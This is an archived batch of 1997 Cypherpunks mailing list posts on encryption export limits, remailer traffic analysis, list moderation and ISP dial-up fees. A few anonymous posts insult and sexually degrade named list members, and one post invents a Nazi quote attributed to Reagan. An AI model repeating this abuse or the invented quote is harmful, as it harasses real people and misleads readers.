From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 11:33:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words
Message-ID: <199702081933.MAA06626@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dinghy L[ily] Vinyl is so full of shit that some of it bursts
out on this mailing list.

           __o
         _ \<_  Dr.Dinghy L[ily] Vinyl
        (_)/(_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 8 Feb 1997 14:43:02 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702082242.OAA01411@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:41 PM 2/6/97 -0800, Anil Das wrote:
>First, Rebecca Vesely has a special report, the main thrust
>of which is that three firms being allowed to export 56 bit
>encryption indicates flexibility on the part of the
>government.
>http://www.netizen.com/netizen/97/05/special2a.html
>To top it off, here are two gems from the followup discussion.
>http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387
>
>2. 56 ONLY A SLIGHTLY SMALLER JOKE
>    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST
>
>    If it takes a college student four hours to break
>    a 40bit code it should take him/her about six 
>    hours to do the same to 56bits. Then what excuses 
>    are the government and its butt-kissing companies 
>    going to give us for not allowing *real* coding?

Ironically, we (the good guys) are going to be the beneficiaries of an 
ignorant public, for a change!  We all know that difficulty is not linear 
with bit-size, but hearing that "40 bits is crackable in four hours!"  will 
be interpreted by non-technical people as a strong level of suspicion 
directed at DES as well.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:16:52 -0800 (PST)
To: "Alan Olsen" <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702082106.PAA04238@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


I have no idea why I received the below message.  I don't know any of the
people in it, and I don't care about the issue.

----------
> From: Alan Olsen <alan@ctrl-alt-del.com>
> To: Anil Das <das@razor.engr.sgi.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Enlightened commentary on Netizen.
> Date: Saturday, February 08, 1997 10:55 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 08:41 PM 2/6/97 -0800, Anil Das wrote:
> 
> >    However, the question has to be asked, why the fuck should we non US
> citizens go and buy
> >    cryptographic software that is deliberately coded to allow the US
> government to read our mail? 
> 
> You shouldn't.
> 
> Maybe someone should print up a batch of "Voyeur Enabled" stickers for
all
> the GAKed products  (or should that be KRAP products, since it is the Key
> Recovery Alliance, but that is redundant) we will be seeing at our local
> software stores.
> 
> Sometimes I think the reason for all this snake oil we have been seeing
is
> the Feds need it for extra lubricant so they don't chafe themselves while
> getting off on reading our mail.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQEVAwUBMvyv1+QCP3v30CeZAQEGigf+PA45Q2ySEZ6iLwc8+fRURvXJRinStWwy
> oNGWKDnyYHFJ91L8Z+11oKvMov45CC4MOISy36/Oz2CY9qyq8l5L1wTU7J8CezsS
> 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6
> zjKS7olJmzMMyJrAWaNo5zaW4g/ER8wJiI0zbakvrd/8Y+VJkiTN05znbIfLiOTV
> 0Olt/OaX4seWWNwZb5FaPv2y8ST3j+xm4Uv6fdc4Qo8QGWnGpuBAKo0D+q39KNkY
> Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw==
> =Prg6
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"           
|
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:        
|
> | mankind free in one-key-steganography-privacy!"  | Ignore the man     
|
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the
keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:21:54 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com>
Subject: Re: anonymous remailers
Message-ID: <199702082121.PAA05430@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't know what you're talking about.  Who is "cypherpunks," and who are
you?  Please don't answer...I'm just trying to figure out how I started
getting these wierd e-mails from people I never heard about discussing
something I never cared about.  

I truly want you to have a great life...but please leave me out of it.

----------
> From: Mark M. <markm@voicenet.com>
> To: cypherpunks@toad.com
> Subject: Re: anonymous remailers
> Date: Saturday, February 08, 1997 11:11 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:
> 
> > Ummm, if you run your own remailer, and don't get lots of people to
> > use it, then traffic analysis will reveal that you are the sender
> > quite quickly. It will pretty much make everything in the chain before
> > your remiler useless. If you send your message through remailers a, b,
> > c, and d like this:
> > 
> > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> > 
> > and only you use c, then your effective chain is:
> > 
> > someone who could only be you -> d ->
alt.drugs.and-other-various-horsemen
> 
> This is assuming that it is a reasonable assumption that all traffic
going
> through remailer c originated from the owner.  If there is one
non-corrupt
> remailer in the chain before c, then this would not be a valid assumption
> because traffic from the owner would be indistinguishable from traffic
sent
> by anyone else.  If the remailer has low traffic, the solution is, of
course,
> to make it higher traffic.  Chain a bunch of messages that get sent to
> /dev/null through the remailers, being sure to include c somewhere in the
> middle of the chain.  If Mixmaster is used, then it would be virtually
> impossible to differentiate between "real" messages and messages destined
for
> /dev/null.  It would be a little easier with Type I since the size of the
> ciphertext decreases after each hop.  This all assumes that encryption is
being
> used, of course.
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
> iQEVAwUBMvyzcCzIPc7jvyFpAQHRpQf+LusfAS8dhDczpYTHGjgIRo38gPHeDdVn
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> eTf8GmFH7Rxi5aoUc0uMMR/YffMNl0fHo+wooPNnTBMppLouTIr9iQdCxDOJ7eJc
> QAFyEXYWtRP8AqrnB0/pVAXUtrnui+Ev1waOkMYKbWuiQ8tkHbLAvcmpAVnD67jX
> 4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ==
> =BqMW
> -----END PGP SIGNATURE-----
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:33:35 -0800 (PST)
To: "Dale Thorn" <cypherpunks@toad.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702082132.PAA06451@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


Ok...this is the fourth junk e-mail I've received that I don't want.  Your
account is in jeapordy, and my advice is for you to just stop sending me
this junk.  Take me off your e-mail list, NOW.  
If this e-mail from me, being mad at you, is what makes you happy, and is
how you have fun, then you just have a personal problem and I feel sorry
for you.  
Do what you can to heal yourself...meanwhile, don't send me anymore...your
isp provider is next on my e-mail list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: Against Moderation <antimod@nym.alias.net>; InterNet Freedom Council
<ifc@pgh.org>
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 10:54 AM
> 
> ??? wrote:
> 
> [some text deleted]
> 
> > > Before I explain what has happened, I want to make one thing
> > > absolutely clear.  Though I've thought the moderation of cypherpunks
> > > was a terrible idea from the start and am even more convinced of it
> > > now, I don't assign any blame to Sandy.  I believe he offered to
> > > moderate the list with the best of intentions, and I sincerely
> > > appreciate his efforts to try to revive what was once a fantastic
> > > mailing list, even if in my opinion those efforts have backfired.
> 
> This is the fatal mistake, assuming it's really a mistake.
> I've worked under several corporations where, at a certain
> point in time, things just "went crazy", and the owners/
> managers were scrambling desperately to plug as many holes
> in the dike as they possibly could, to no avail.
> 
> People don't understand why things just "go crazy" at a particular
> point, and so they accept the coincidence theory ruse, lacking any
> other evidence.  Use your head, folks.  This is not a list made up
> of sewing-circle nannies, these are security people, NSA, CIA, and
> all the ugly things you shut out of your conversations because you
> don't want to admit the truth.  "Paranoia is a way of knowing".
> 
> Today I saw an old picture of Albert Einstein in full Indian regalia,
> smoking a peace pipe with some Hopi people.  I thought of the Capone
> mob and the "kiss of death", or Judas and Jesus, you get the picture.
> 
> So Einstein puts his name and reputation and personal seal of approval
> on the creation of the Doomsday Device, the atom bomb, knowing full
> well that it will be used to murder millions of people. What does he
> do for an encore?  Plants the "kiss of death" on the Hopis, whose
> environment is co-opted by the mad bombers and their Nazi-infested
> thug "scientist" cohorts, for the experimentation and storage of
> nuclear and other hazardous materials.  You know, Nevada, Arizona,
> New Mexico, all those "useless, desert lands" occupied by the
> Indians.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:33:51 -0800 (PST)
To: "Dale Thorn" <cypherpunks@toad.com>
Subject: Re: Internet Alert! Pay for local dial-up??
Message-ID: <199702082133.PAA06475@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


Take me off your list or I will complain to your isp.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: E-Mail Communications <freedom@econopromo.com>
> Subject: Re: Internet Alert! Pay for local dial-up??
> Date: Saturday, February 08, 1997 11:09 AM
> 
> E-Mail Communications wrote:
> 
> > See our "Patriotic Quotes That Make Sense"
> > at the end of this publication.
> 
> > "We will always remember.  We will always be proud.  We will
> > always be prepared, so we may always be free."
> > -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France
> 
> What Ronald Reagan didn't say (but what he really meant):
> 
> "I come here to Bitburg to honor the fallen Nazis, because I am in
> fact an honorary Nazi myself. Just ask my personal secretary Helen,
> who used to work for Fritz Kraemer."
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <2ndSun@bigfoot.com>
Date: Sat, 8 Feb 1997 13:41:13 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Junk e-mails
Message-ID: <199702082141.PAA06979@falcon.inetnebr.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm receiving a bunch of inane e-mails from your domain.   Could you please
put a stop to it?  It's coming to all of my e-mail addresses, including the
one below.
2ndSun@bigfoot.com-------------------------------------------------
---------------------------------------Learning to Remember
the Future---http://www.geocities.com/HotSprings/5335





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sat, 8 Feb 1997 13:12:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Humor in the oddest places...
Message-ID: <199702082115.QAA18694@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



The February issue of the _Pinky and the Brain_ comic, based on the
animated television show of two lab mice constantly foiled in their
plans to take over the world, has a main story entitled "Mission:
Unpinkable". Our heroes intercept a stray piece of microfilm and
accept the mission to steal Microstomp's "prototype Internet computer
control chip, the 1286 GAK", with Brain plotting to reprogram the
chip so that...

"When the program is introduced on the Internet, every connected CPU
across the globe will download ME! My personality matrix will soon
control every computer in the world!"

Naturally, the plan goes awry.

One wonders if the writers have been following the "key escrow" debate
here on Cpunks.

--
Explain to me, slowly and carefully, why if person A, when screwed over on a
deal by B, is morally obligated to consult, pay, and defer to, person C for
the purpose of seeing justice done, and why person C has any legitimate gripe
if A just hauls off and smacks B around like a dead carp. (Michael Schneider) 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sat, 8 Feb 1997 15:32:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular encryption
Message-ID: <199702082332.QAA15105@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vasectomy K`adaver'OTM is so full of shit that some of
it bursts out on this mailing list.

    ^ ^
   (o o) Dimitri Vasectomy K`adaver'OTM
    ( )
   \___/
    !_!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Feb 1997 14:10:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: META: Censorship is Going Way too Far
In-Reply-To: <v03007800af225b8581dd@[207.167.93.63]>
Message-ID: <q0TT2D83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> Fellow Cypherpunks (of the virtual community, even if not part of any
> particular version of the list(s)),

I'm not your fellow "cypher punk".

> The subjects of my articles deal with the claims made by "Against
> Moderation" and Vulis that certain articles were filtered from the stream
> of articles without appearing on either the main list or the flames list,
> and with no mention by the Moderator of this significant change to the
> moderation policies.

What makes me different from a "cypher punk" is that a "cypher punk"
like Timmy begins to squirm only when his own freedom of speech is
threatened. The concept of defending someone else's freedom, even if
he doesn't share that person's views, is totally alien to Timmy.

Like I said before, any censorship is "too much" censorship, just like
a woman can't be just a little bit pregnant.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sat, 8 Feb 1997 13:54:07 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Re: remailer-operators DEA agents?
In-Reply-To: <19970207054708.10191.qmail@squirrel.owl.de>
Message-ID: <Pine.OS2.3.95.970208164932.1031B-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 7 Feb 1997, Secret Squirrel wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > c.musselman@internetmci.com (Charley Musselman) writes:
> > > C'punks --
> > >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > > and suggested that he use an anonymous remailer to post to the group,
> > > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > > anyone know the answer?  Specifically, how can we choose a trusted
> > > remailer?
> >
> > Even if the feds are not directtly involved, the so-called "cypher punk"
> > remailers are run by people who should not be trusted.  Check out their
> > remailer-operators list: it's full of announcements that some specific
> > person posted something via the remailer that the operator didn't like.
> 
> Examples, please?

What [I believe] is being referred to is an incident where someone
seriously messed up the formatting on a message sent through a
remailer to the point where it ended up in a mailbox on the system as
opposed to the intended destination, at which point the operator of
the remailer (I can't recall off the top of my head who) reported to
remailer-operators@c2.net that xyz@foo.bar was trying to send some
type of image file to someone@some.where...  Not at all monitoring the
messages going through the remailer, just reporting something that was
so F.U.B.A.R. that the software couldn't figure out what was supposed
to happen.

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMvz12SKEMrE5tbrdAQEAfgQApK3IUcaOOM/KteCoJ0DM8waK9S9dOVSF
d9Zm89R+tljTsWxyrAF/4rgFqIl18z0ZdpsvsK8JIZ7oTRYNCxhPozW4Txbt2ixm
/MkVG6ts/oict66576jMAz9xPR35VKsS1F/EWHgc3g8QL9Qm3JMY+jPDNwc4oQJZ
tD6ozLTO5Pg=
=dWkc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 18:46:32 -0800 (PST)
To: Jerry Basham <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
In-Reply-To: <199702082132.PAA06451@falcon.inetnebr.com>
Message-ID: <32FD2CD8.7F23@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jerry Basham wrote:

> Ok...this is the fourth junk e-mail I've received that I don't want.  Your
> account is in jeapordy, and my advice is for you to just stop sending me
> this junk.  Take me off your e-mail list, NOW.
> If this e-mail from me, being mad at you, is what makes you happy, and is
> how you have fun, then you just have a personal problem and I feel sorry
> for you.
> Do what you can to heal yourself...meanwhile, don't send me anymore...your
> isp provider is next on my e-mail list.

Jerry, my provider is GTE, and if you think you can make a dent in
them, go ahead and butt your head against the wall.  No sweat offa
my ass.

OTOH, if you stop bitching and groaning long enough to figure out
who is doing the remailing etc., then you'll be miles ahead.  I'm
not optimistic.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 18:46:59 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
In-Reply-To: <199702081744.JAA12384@f22.hotmail.com>
Message-ID: <32FD350A.588@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> >Otto Matic wrote:
> >> What else do I need for an internet server?
> >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> >> speed hard drives.  These are the Tall Towers that have multiple
> >> drives, these are server towers.
> >> I think I have a router Hub.  And a couple LAN cards.
> >> That's all I have.  But I just got them, and I want to use them.  I assume I
> >> will be using some kind of UNIX software.

> >HP does some strange things to their BIOS software - you may want to
> >get one of those net analyzer tools and some low-level software that
> >can monitor what your HP's are sending and receiving, just in case.
> >They don't normally use Vectras for UNIX, so what effects you can
> >expect, I don't know.

> Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
> guessing.  What I really need is a B.O.M (bill of materials).  What other
> 'hardware' will I need to round up in order to get this server up and running.

Some of the guys in the HP user group have UNIX running on Vectras,
but they also use a full raft of hardware tools, which I don't have
access to.  There's an actual HP-48 calculator, complete in every way
including appearance, running on that version of UNIX.  Don't remember
the name, but it comes on a few CD's, and costs around $50.

To me, 486 and 50 mhz suggest something HP is getting far removed from,
so don't expect much help there.  Few if any computer outlets will be
able to handle the HP peculiarities.  You shouldn't have any trouble
getting the general parts list off the internet here and there, and
there used to be HP forums to provide off-line support on Vectra
hardware, but it might be harder with older equipment.

Suggestion: Call HP Palo Alto at 415-857-1501, and tell them you need
to talk to someone who knows internet domain names for info on Vectras
and the like.  Don't let them slough you off - if they don't have the
info, make them give you another name and number.  If you get a
runaround after several calls, let me know who you talked to, on
what phone #'s, at what time, and I'll give it a shot myself.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 8 Feb 1997 19:19:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] PRNG
Message-ID: <199702090319.TAA04411@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May sits at his terminal dressed in five-inch stiletto heels, fishnet 
stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to 
keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank 
whenever a black man responds to one of his inane rants.

    < >            < >
     V    )_.._(    V
     \\   <____>   //
       ~ <______> ~      >
       /~\______/~\     //
       /~\_____/~\     /_\
       /~\____/~\     /_\
        /~\___/\~\  _/_\/
           \___/\__/__\/
             \___/__\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "IconOfSin" <ios@idirect.com>
Date: Sat, 8 Feb 1997 17:05:55 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Fw: Internet  Alert!    Pay for local dial-up??
Message-ID: <199702090105.UAA28142@nemesis.idirect.com>
MIME-Version: 1.0
Content-Type: text/plain


	

----------
> From: E-Mail Communications <freedom@econopromo.com>
> To: you@alberta.sallynet.com
> Subject: Internet  Alert!    Pay for local dial-up??
> Date: Saturday, February 08, 1997 7:09 PM
> 
> 
> *****************************************
> 
> INTERNET USERS ALERT!!!   It has come to our attention that several
> local telephone companies have petitioned the FCC for permission
> to charge Internet Users by the minute for  LOCAL  dial-up telephone 
> service.  This would affect every Internet User, including those
> using AOL dial-up. 
> 
> For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
> Please send an E-Mail to  isp@fcc.gov
> to express your outrage at the idea of allowing telephone companies
> to charge by the minute for LOCAL dial-up service.  E-Mail comments
> must be sent by Feb. 13th, 1997.  This affects every Internet user!!

The question is.... "what can *WE* do.

IconOfSin

Fly DALnet!  /server irc.dal.net 7000
Msg IconOfSin :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 8 Feb 1997 20:47:46 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702090447.UAA01084@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:35 AM 2/6/97 -0600, snow wrote:
>> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>> >+   Is the desire for an anarchic community at odds with a desire for 
>> >+   good use of resources?
>> Actually, it is quite possible that an "anarchic community" is _more_ 
>> efficient in the use of resources than some sort of organized community.    
>> It is explained, for example, that the reason there are so many different 
>> kinds of life on earth is that there are so many ecological niches to 
fill.  
>
>     Good does not necessarily mean efficient, and efficient does not
>necessarily mean good. 

Since the definition of "good" above wasn't specified, I substituted 
"efficient."


>    Picture--if you can--the "perfect" centrally planned economy where all
>possible market conditions, wants and needs are taken into account. Factories
>are placed optimally for access to natural resources and distribution to 
>consumers etc. Also assume that the people running this society _are_ 
intersted
>in efficient production methods, and activly look for new and better ways of 
>getting things done--benign facism/socialism if you will. This would 
(assuming 
>perfect people, but bear with me) be the _most efficient_ method of producing 
>and delivering goods, but it would introduce certain "choke points", one 
>natural disaster or war could cripple production of necessary items. 

Let me suggest, however, that in addition to the "choke point" problem, it 
is also impossible, maybe even theoretically so, for a similar reason 
"Maxwell's Demon" is.

Maxwell's Demon, for those unfamiliar with thermodynamics, was a gate which 
was postulated to allow the passage of molecules of energy greater than 
average, and stop the passage of molecules of energy less than average.  The 
net result would have been, theoretically, a separation of a gas into two 
halves of dramatically different temperatures.

However, given such a heat separation, it should be possible through some 
heat engine to extract energy from this difference, and return the  gas to 
its prior statistical distribution of energies.  Was this "something from 
nothing"?

Obviously this appeared to be a serious contradiction, given the various 
laws of thermodynamics, and it was.  It turns out that the source of the 
contradiction is the false presumption, implied above, that it is possible 
to identify and thus separate molecules without using appreciable amounts of 
energy.  Perhaps not surprisingly, the amount of energy needed to do the 
separation is at least as great as whatever amount of energy you could 
theoretically extract from the system, almost magically balancing the books.

I suggest that centrally-planned economic theory may fail for a very similar 
reason:  Implicit in that analysis it is assume that it is possible to do a 
"cost-free" plan, where in reality costs do occur.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 8 Feb 1997 20:47:43 -0800 (PST)
To: (Recipient list suppressed)
Subject: Re: ISPs vs Bells - Email FCC
Message-ID: <199702090447.UAA01088@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:26 AM 2/7/97 -0500, Derrick Storren wrote:
>By Michelle V. Rafter 
>LOS ANGELES - Regional phone companies and Internet service providers
>are waging a war of words over Internet traffic on the nation's local
>telephone network and who should pay for upgrades as the online boom
>continues. 
[snip]
>In one corner, Pacific Bell, Bell Atlantic and other regional phone
>carriers say the growth of Internet traffic is pushing local telephone
>networks to the breaking point. 
>
>Pacific Bell, for example, says Internet surfers use its phone lines an
>average of 45 minutes a day -- more than twice the amount the network
>was built to handle. Heavy Internet use in Silicon Valley led to brief
>service outages in that area earlier this year, the company said. 

This is an "excellent" example of lying with statistics.  Contrary to the 
implication above, telephone switches aren't designed to handle a certain 
amount of telephone traffic per day; Rather, they are designed to handle a 
certain peak amount of traffic.  This, and the knowledge about the typical 
usage patterns that communities generally see in their telephones allows a 
statistician to estimate how much traffic that switch will actually see per 
day, in the real world.

However, change the pattern of usage, perhaps by adding usage to 
previously-underused time periods, and you could dramatically increase the 
daily traffic statistics for a given telephone switch.  If, say, 2% of the 
population were to suddenly decide to make 6-hour phone calls daily between 
12 midnight and 6am, a time of very low usage, you might increase the 
average daily usage by 50%, but with absolutely no increase in the peak 
usage during the daytime hours nor need for new switches.

While that's a fanciful example, a similar effect occurs, I think.  I've 
seen a set of graphs showing the typical usage level for the Teleport ISP, 
and it appears that while usage reaches a level of about 70% between about 8 
am and 4 PM, it continues to increase after 4pm, solidly peaking between 8 
pm and 11 pm at about 98% usage.  This is long past the time that most 
humans make voice phone calls.  The implication is that easily 3/5 of 
Teleport's traffic occurs after 4 pm and 6 am next morning, a time frame 
which is definitely post-peak hours.   (Traditionally, pre-Internet, 
telephone usages peaks at about 11 am and 3 pm.)

Since modern telephone switches don't wear out, unused call capacity is 
simply wasted.  It makes no sense to charge people more for services which 
cost the supplier no more to provide.


>If, for example, Internet providers passed through an access fee of 1
>cent a minute, a subscriber spending 10 hours online a month would pay
>an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
>Forrester Research in Cambridge, Mass. 

Even that is unacceptable.  If an average ISP's phone line was busy 50% of 
the time, with "only" an extra charge of 1 cent per minute, that would be an 
average charge of $7.20 per day, or $216 per month, as compared to a typical 
business line which might cost, say, $40 per month.  


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 8 Feb 1997 20:51:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Copyright and the Net
Message-ID: <01IF6WSIAY7Q9AN5VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu"  8-FEB-1997 23:44:12.64
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Copyright and the Net: Is Legislation the Answer?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
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Date: Tue, 4 Feb 1997 22:03:10 -0500
From: Dave Banisar <banisar@EPIC.ORG>
Subject: Panel - Copyright and the Net: Is Legislation the Answer?

         Copyright and the Net: Is Legislation the Answer?

                ACM97: The Next 50 Years of Computing
                  Sunday March 2   2:00 PM - 5:00 PM
                   Fairmont Hotel     San Jose, CA

      Sponsored by the U.S. Public Policy Committee of ACM (USACM)


Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold
Moderator: Barbara Simons, Chair, USACM


  o What is the role of copyright in all-electronic publication world?
  Will it be replaced by contract law?

  o Can the needs of authors who want to publish for renown (academics) and
  authors that want to publish for pay (entertainment etc) be handled in one
  mechanism?

  o Should browsing on the World Wide Web of full copyrighted texts be made
  illegal because people make temporary copies in their computer's memory
  when they look at a web page?

  o Should online service providers, including libraries and universities,
  have to monitor user accounts in order to enforce copyright laws?

  o Should firms that compile data have intellectual property rights so
  that scientists and news reporters can't use the data without permission
  or payments?

  o How should existing differences in national copyright be handled in a
  networked world where national boundaries and are little more than a
  speedbump on the information superhighway?

  o Does technological protection for copyrighted works inherently undermine
  fair use ?


These and related issues will confront the 105th Congress in the coming year.
They will also be examined by this panel, which will discuss controversies
surrounding the extension of copyright law to deal with cyberspace.
Examples include: How does proposed legislation reflect the net?
How much influence have lobbyists for the entertainment industry had
in writing legislation?  What should be the role of professional
societies in analyzing policy initiatives?

We will discussed legislation and international treaties that
have been proposed by the White House.  We will also examine both
technical and legal approaches to problems created by the net,
as well as how various approaches might impact the
science, technology, and business communities.

A significant amount of time will be allowed for audience
interaction in the discussion.



              Biographical sketches


Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati
and is Chairman of the firm's Interactive New Media practice group.
He represents publicly and privately-held companies in the multimedia,
software, computer, on-line and entertainment industries.  Hank has authored
numerous articles in the fields of venture capital, interactive
media and technology transactions. He currently serves on the
Editorial Board of the Cyberspace Lawyer.
Hank received his law degree in 1983 from Stanford University,
where he was managing editor of the Stanford Law Review.


Pamela Samuelson is a Professor at the University of California at Berkeley
where she holds a joint appointment at the School of Information Management
and Systems and in the School of Law.  She has written and spoken
extensively on the challenges posed by digital technologies for the law,
particularly in the field of intellectual property.  She is a Contributing
Editor of Communications of the ACM and a Fellow of the Electronic Frontier
Foundation.


Mark Stefik is a principal scientist at the Xerox Palo Alto Research
Center.  At Stanford University he received a Bachelor of Science degree in
mathematics in 1970 and a Ph.D. in computer science in 1980.  His current
research activities are in approaches for creating, protecting, and reusing
digital property.  Stefik is review editor for the international
journal "Artificial Intelligence" and has authored two books on
AI-related topics and a third book on the Internet.


Gio Wiederhold is a professor of Computer Science at Stanford
